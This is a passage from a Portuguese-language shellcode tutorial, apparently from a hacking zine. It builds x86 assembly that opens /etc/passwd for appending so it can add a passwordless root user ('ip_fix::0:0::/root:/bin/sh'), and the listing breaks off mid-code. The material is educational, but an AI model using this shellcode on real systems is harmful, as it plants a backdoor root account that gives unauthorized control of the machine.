Liber 000 - Astrum Argentum

ip_fix::0:0::/root:/bin/sh
root@motdlabs:~/IP_FIX/shellcode#
Agora temos que converter para assembly, será um pouco trabalhoso
mas nada impossível! Vamos ver nossa tabela primeiro.:
%eax Nome Fonte %ebx %ecx %edx %esx %edi
1 sys_exit kernel/exit.c int
4 sys_write Arch/i386/kernel/process.c unsigned
int
5
sys_open fs/open.c const
char*
char* size_t
int int
root@motdlabs:~/IP_FIX/shellcode# man open
int open(const char *pathname, int flags, mode_t mode);
[ %ebx ] [ %ecx ] [ %edx ]
De posse dessas informações, vamos construir nosso código em
assembly.
shellcode/asmpasswd.c
/*
* Protótipo de shellcode em ASM.
* Adiciona um usuário com premissões root.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o asmpasswd asmpasswd.c
*/
#include
main() {
__asm__(
"xor %eax, %eax \n" /* Zera %eax.
*/
"push $0x647773 \n" /* Movemos toda no string...
*/
"push $0x7361702F \n" /* ...para o stack.
*/
"push $0x6374652F \n" /* /etc/passwd
*/
"mov %esp, %ebx \n" /* Agora jogamos nossa string para %ebx:
(const char *pathname,... */
"mov $0x402, %cx \n" /* Movemos O_RDWR|O_APPEND para %cx: ...
int flags,... */
"mov $0x5, %al \n" /* System Call de open().
*/
"int $0x80 \n" /* Cai pro modo kernel.
*/
"mov %eax, %ebx \n" /* Tudo que foi feito em open, foi para %
eax, agora precisamos tê-lo em %ebx. */
"push $0x0A68732F \n" /* Movemos...
86